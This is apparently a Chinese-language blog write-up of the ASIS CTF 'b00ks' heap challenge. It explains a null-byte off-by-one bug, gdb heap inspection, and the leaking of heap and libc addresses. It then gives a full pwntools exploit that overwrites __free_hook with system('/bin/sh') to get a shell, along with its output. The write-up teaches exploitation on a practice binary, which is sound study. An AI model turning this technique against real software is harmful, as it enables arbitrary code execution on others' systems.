Contents
  1. 1. 🎈0x01寻找漏洞
    1. 1.0.1. checksec
    2. 1.0.2. ida
  • 2. 🎈0x02分析构造
    1. 2.0.1. 疑问解答
  • 3. 🎈0x03攻击
    1. 3.0.1. 📂完整EXP
    • 写于19.6.26

    没错没错,从CTF-wiki过来的,我没看懂,又去其他大佬的博客==>九层台取取经,终于会调了orz…掌握gdb调试很重要啊啊啊!改最终脚本改了好久了,唉😑ps过于繁琐高手可以绕过嚯嚯嚯

    🎈0x01寻找漏洞

    checksec

    1
    2
    3
    4
    5
    6
    7
    kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ checksec ./b00ks 
    [*] '/home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks'
    Arch: amd64-64-little
    RELRO: Full RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: PIE enabled

    开启PIE()
    程序实现的是一个图书管理,有以下的基本功能

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    Welcome to ASISCTF book library
    Enter author name: kk

    1. Create a book
    2. Delete a book
    3. Edit a book
    4. Print book detail
    5. Change current author name
    6. Exit
    >

    ida

    在输入作者名字时调用sub_9F5(我改名为My_read


    读入32个字符,第33位被函数置为\x00 ==>NULL byte Off-By-One

    漏洞找到~

    🎈0x02分析构造

    下面具体理解一下这些功能

    create主要

    malloc name

    1
    2
    printf("Enter book name (Max 32 chars): ", &v1);
    ptr = malloc(v1);

    malloc description

    1
    2
    3
    4
    5
    6
    7
    printf("\nEnter book description size: ", *(_QWORD *)&v1);
    __isoc99_scanf("%d", &v1);
    if ( v1 >= 0 )
    {
    v5 = malloc(v1);
    ···
    }

    malloc下面的结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    v3 = malloc(0x20uLL);
    if ( v3 )
    {
    *((_DWORD *)v3 + 6) = v1; //description size
    *((_QWORD *)off_202010 + v2) = v3;//book
    *((_QWORD *)v3 + 2) = v5; // description
    *((_QWORD *)v3 + 1) = ptr; // name
    *(_DWORD *)v3 = ++unk_202024; //每本书的ID
    return 0LL;
    }

    下面我们调试理解一下,利用gdb-peda中的find

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ gdb ./b00ks 
    gdb-peda$ run
    Starting program: /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
    Welcome to ASISCTF book library
    Enter author name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabc

    1. Create a book
    2. Delete a book
    3. Edit a book
    4. Print book detail
    5. Change current author name
    6. Exit
    > 1

    Enter book name size: 10
    Enter book name (Max 32 chars): aaaaa

    Enter book description size: 10
    Enter book description: bbbbb

    1. Create a book
    2. Delete a book
    3. Edit a book
    4. Print book detail
    5. Change current author name
    6. Exit
    >

    Ctrl+C后

    1
    2
    3
    4
    gdb-peda$ find abc
    Searching for 'abc' in: None ranges
    Found 9 results, display max 9 items:
    b00ks : 0x55555575605d --> 0x636261 ('abc')

    根据0x55555575605d找对齐地址查看

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    gdb-peda$ x/10g 0x555555756040
    0x555555756040: 0x6161616161616161 0x6161616161616161
    0x555555756050: 0x6161616161616161 0x6362616161616161 ==>author name
    0x555555756060: 0x0000555555757460 ==>book1地址指针 0x0000000000000000
    0x555555756070: 0x0000000000000000 0x0000000000000000
    0x555555756080: 0x0000000000000000 0x0000000000000000
    gdb-peda$ x/10g 0x0000555555757460
    0x555555757460: 0x0000000000000001 ==>ID 0x0000555555757420 ==>book name
    0x555555757470: 0x0000555555757440 ==>description 0x000000000000000a ==>description size
    0x555555757480: 0x0000000000000000 0x0000000000020b81 ==>top chunk
    0x555555757490: 0x0000000000000000 0x0000000000000000
    0x5555557574a0: 0x0000000000000000 0x0000000000000000
    gdb-peda$ x/g 0x0000555555757420
    0x555555757420: 0x0000006161616161
    gdb-peda$ x/g 0x0000555555757440
    0x555555757440: 0x0000006262626262

    根据这个方法,又创建了一个book2,再看看他们的布置

    从上分析得,我们写入的author name的最后的NULL字节会被book1指针覆盖,那么我们打印author name的时候,就可以得到book1的地址

    接下来,由于程序提供了Change函数,我们修改author name为“a” * 30 + “d” * 2(能区别就成)

    1
    2
    3
    4
    5
    6
    gdb-peda$ x/10gx 0x555555756040
    0x555555756040: 0x6161616161616161 0x6161616161616161
    0x555555756050: 0x6161616161616161 0x6464616161616161
    0x555555756060: 0x0000555555757400 0x00005555557574d0
    0x555555756070: 0x0000000000000000 0x0000000000000000
    0x555555756080: 0x0000000000000000 0x0000000000000000

    可以看到同样由于33位变为\x00的原因,我们的book1地址最后一个字节被修改为00

    所以我们需要:

    1.设置author name长度为32,33位的\x00被book1地址覆写后,输出author name即可泄露book1地址。
    2.通过修改author name,使后两位变为00,布置使我们的book1的指针(变00时)指向的是book1的description。
    3.通过修改book1的description,使description内容为fake_book1。
    4.fake_book1中的book name和description指针,指向book2的description。(offset = 0x20 + 0x10 + 0x8 = 0x38)
    5.输出book1,那么book1的description就是fake_book1,就可以打印出book2的description的地址,实现泄露,得到libc_base。
    6.将book2的description设置为__free_hook函数,将book2的name设置为system("/bin/sh")函数,再free book2,调用__free_hook,执行system("/bin/sh")。【这里也可以使用execve,这个可以在onegadget中找到】
    \

    疑问解答

    🌼为什么description size被放到了v3+3的位置?
    答:因为*((_DWORD *)v3 + 6) = v1; 该语句将v3作为双字节处理,双字节的+6 相当于 单字节的+3。
    涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。
    🌼为什么book2的size要设置的很大?
    答:通过前面我们已经获得了任意地址读写的能力,读者读到这里可能会觉得下面的操作是显而易见的,比如写 got 表劫持流程或者写 __malloc_hook 劫持流程等。但是这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此我们还需要想一下其他的办法。
    所以我们在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是brk会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。
    在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。
    🌼为什么设置__free_hook函数?
    答:这里我们需要简单介绍一下__free_hook函数
    当调用free函数的时候当__free_hook内容不为NULL时,会优先执行其内容,所以我们将该函数参数设置为system,就可以实现getshell

    🎈0x03攻击

    写脚本,边写边用gdb.attach()调试(差不多就是重复上面的步骤,看看空间布局,不想看可以直接看文末完整脚本理解了)
    函数的基本操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    def createbook(name_size, name, des_size, des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

    def deletebook(id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(id))

    def editbook(id, new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.sendline(str(id))
    io.readuntil(": ")
    io.sendline(new_des)

    def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
    book_id = int(io.readline()[:-1])
    io.readuntil(": ")
    book_name = io.readline()[:-1]
    io.readuntil(": ")
    book_des = io.readline()[:-1]
    io.readuntil(": ")
    book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author
    def changeauthor(authorname):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil("Enter author name: ")
    io.sendline(authorname)

    开始尝试

    1
    2
    3
    4
    io.recvuntil("author name:")
    io.sendline("A" * 30 + "KK")
    createbook(150, "kkbook1", 0x100, "haha") #我们的book1不能太小,不然伪造的book1就不能落在正确的地方,无法泄露。[这里我调试了很多次,注意看堆布置,多试试
    gdb.attach(io)

    此时在gdb窗口中查看我们的内存是这样子的👇

    1
    2
    3
    4
    5
    6
    gdb-peda$ x/10gx 0x5566bb2af040
    0x5566bb2af040: 0x4141414141414141 0x4141414141414141
    0x5566bb2af050: 0x4141414141414141 0x4b4b414141414141
    0x5566bb2af060: 0x00005566bc79e0f0 0x0000000000000000
    0x5566bb2af070: 0x0000000000000000 0x0000000000000000
    0x5566bb2af080: 0x0000000000000000 0x0000000000000000

    接着选择print函数,就可以得到book1地址

    1
    2
    3
    book1_id,book1_name,book1_des,book_author=printbook(1)
    book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
    print "book1_addr ==> 0x%x"%book1_addr

    编辑book1的description

    1
    2
    payload = "a" * 0x40 + p64(0x01) + p64(book1_addr + 0x38)*2 + p64(0xffff)
    editbook(1, payload) #fake_book1

    接下来我们修改作者,使book1地址指向book1_des

    1
    changeauthor("a" * 30 + "OO")

    创建book2,要把size设置的很大,使malloc用mmap()分配

    1
    createbook(1000000, "kkbook2", 1000000, "hello world")

    gdb调试,看看我布置的堆栈是什么样子的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    gdb-peda$ x/10gx 0x55a03fde01d0
    0x55a03fde01d0: 0x0000000000000001 0x000055a03fde0020
    0x55a03fde01e0: 0x000055a03fde00c0 0x0000000000000100
    0x55a03fde01f0: 0x0000000000000000 0x0000000000000031
    0x55a03fde0200: 0x0000000000000002 0x00007f2db34c8010
    0x55a03fde0210: 0x00007f2db2ef5010 0x00000000000f4240
    gdb-peda$ x/10gx 0x55a03fde0100 ==>fake_book1
    0x55a03fde0100: 0x0000000000000001 0x000055a03fde0208
    0x55a03fde0110: 0x000055a03fde0208 0x000000000000ffff
    0x55a03fde0120: 0x0000000000000000 0x0000000000000000
    0x55a03fde0130: 0x0000000000000000 0x0000000000000000
    0x55a03fde0140: 0x0000000000000000 0x0000000000000000

    再看看更直观的堆布置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    gdb-peda$ x/20gx 0x55a03fde00b0
    0x55a03fde00b0: 0x0000000000000000 0x0000000000000111
    0x55a03fde00c0: 0x6161616161616161 0x6161616161616161 ==>"a" * 0x30
    0x55a03fde00d0: 0x6161616161616161 0x6161616161616161
    0x55a03fde00e0: 0x6161616161616161 0x6161616161616161
    0x55a03fde00f0: 0x6161616161616161 0x6161616161616161
    0x55a03fde0100: 0x0000000000000001 0x000055a03fde0208 ==>fake_book1
    0x55a03fde0110: 0x000055a03fde0208 0x000000000000ffff
    0x55a03fde0120: 0x0000000000000000 0x0000000000000000
    0x55a03fde0130: 0x0000000000000000 0x0000000000000000
    0x55a03fde0140: 0x0000000000000000 0x0000000000000000

    打印出book1的description,里面就是指向了book2的信息,所以得到book2的指针地址

    1
    2
    3
    4
    5
    book_id, book_name, book_des, book_author = printbook(1)
    book2_name_addr = u64(book_name.ljust(8, "\x00"))
    book2_des_addr = u64(book_des.ljust(8, "\x00"))
    print "book2_name_addr ==> 0x%x"%book2_name_addr
    print "book2_des_addr ==> 0x%x"%book2_des_addr

    查看vmmap

    1
    2
    3
    4
    5
    6
    7
    8
    9
    gdb-peda$ vmmap
    Start End Perm Name
    0x000055a03e99e000 0x000055a03e9a0000 r-xp /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
    0x000055a03eb9f000 0x000055a03eba0000 r--p /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
    0x000055a03eba0000 0x000055a03eba1000 rw-p /home/kk/Desktop/black/wiki/off_by_one/b00ks/b00ks
    0x000055a03fddf000 0x000055a03fe01000 rw-p [heap]
    0x00007f2db2ef5000 0x00007f2db2fea000 rw-p mapped
    0x00007f2db2fea000 0x00007f2db31aa000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
    0x00007f2db31aa000 0x00007f2db33aa000 ---p /lib/x86_64-linux-gnu/libc-2.23.so

    计算offset = book2_name_addr - 0x00007f2db2fea000 = 0x4de010

    1
    2
    libc_base = book2_name_addr - 0x4de010
    print "libc_base ==> 0x%x"%libc_base

    在本地进行测试,所以libc用ldd查看路径,比赛不给libc文件时再想办法进行泄露,脚本改一下就行了
    __free_hooksystem("/bin/sh")写入相应位置,free后调用。

    1
    2
    3
    4
    5
    6
    7
    8
    free_hook_addr = libc_base + libc.symbols["__free_hook"]
    system_addr = libc_base + libc.symbols["system"]
    binsh_addr = libc_base + libc.search("/bin/sh").next()

    editbook(1, p64(binsh_addr) + p64(free_hook_addr))
    editbook(2, p64(system_addr))

    deletebook(2)

    📂完整EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    #!usr/bin/env python
    #coding=utf-8
    from pwn import *
    # context.log_level="debug"

    io = process("./b00ks")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

    def createbook(name_size, name, des_size, des):
    io.readuntil("> ")
    io.sendline("1")
    io.readuntil(": ")
    io.sendline(str(name_size))
    io.readuntil(": ")
    io.sendline(name)
    io.readuntil(": ")
    io.sendline(str(des_size))
    io.readuntil(": ")
    io.sendline(des)

    def deletebook(id):
    io.readuntil("> ")
    io.sendline("2")
    io.readuntil(": ")
    io.sendline(str(id))

    def editbook(id, new_des):
    io.readuntil("> ")
    io.sendline("3")
    io.readuntil(": ")
    io.sendline(str(id))
    io.readuntil(": ")
    io.sendline(new_des)

    def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
    book_id = int(io.readline()[:-1])
    io.readuntil(": ")
    book_name = io.readline()[:-1]
    io.readuntil(": ")
    book_des = io.readline()[:-1]
    io.readuntil(": ")
    book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author

    def changeauthor(authorname):
    io.readuntil("> ")
    io.sendline("5")
    io.readuntil(": ")
    io.sendline(authorname)

    io.recvuntil("author name:")
    io.sendline("A" * 30 + "KK")

    createbook(150, "kkbook1", 0x100, "haha")

    book1_id,book1_name,book1_des,book_author=printbook(1)
    book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
    print "book1_addr ==> 0x%x"%book1_addr

    payload = "a" * 0x40 + p64(0x01) + p64(book1_addr + 0x38)*2 + p64(0xffff)
    editbook(1, payload) #fake_book1

    createbook(1000000, "kkbook2", 1000000, "hello world")

    changeauthor("a" * 30 + "OO")

    book_id, book_name, book_des, book_author = printbook(1)
    book2_name_addr = u64(book_name.ljust(8, "\x00"))
    book2_des_addr = u64(book_des.ljust(8, "\x00"))
    print "book2_name_addr ==> 0x%x"%book2_name_addr
    print "book2_des_addr ==> 0x%x"%book2_des_addr

    libc_base = book2_name_addr - 0x4de010
    print "libc_base ==> 0x%x"%libc_base

    free_hook_addr = libc_base + libc.symbols["__free_hook"]
    system_addr = libc_base + libc.symbols["system"]
    binsh_addr = libc_base + libc.search("/bin/sh").next()

    editbook(1, p64(binsh_addr) + p64(free_hook_addr))
    editbook(2, p64(system_addr))

    deletebook(2)

    io.interactive()

    终于成功了orz

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    kk@ubuntu:~/Desktop/black/wiki/off_by_one/b00ks$ python exp.py 
    [+] Starting local process './b00ks': pid 78110
    [*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
    book1_addr ==> 0x55b3b00ff1d0
    book2_name_addr ==> 0x7fc82a684010
    book2_des_addr ==> 0x7fc82a684010
    libc_base ==> 0x7fc82a1a6000
    [*] Switching to interactive mode
    $ ls
    b00ks core exp.py peda-session-b00ks.txt
    $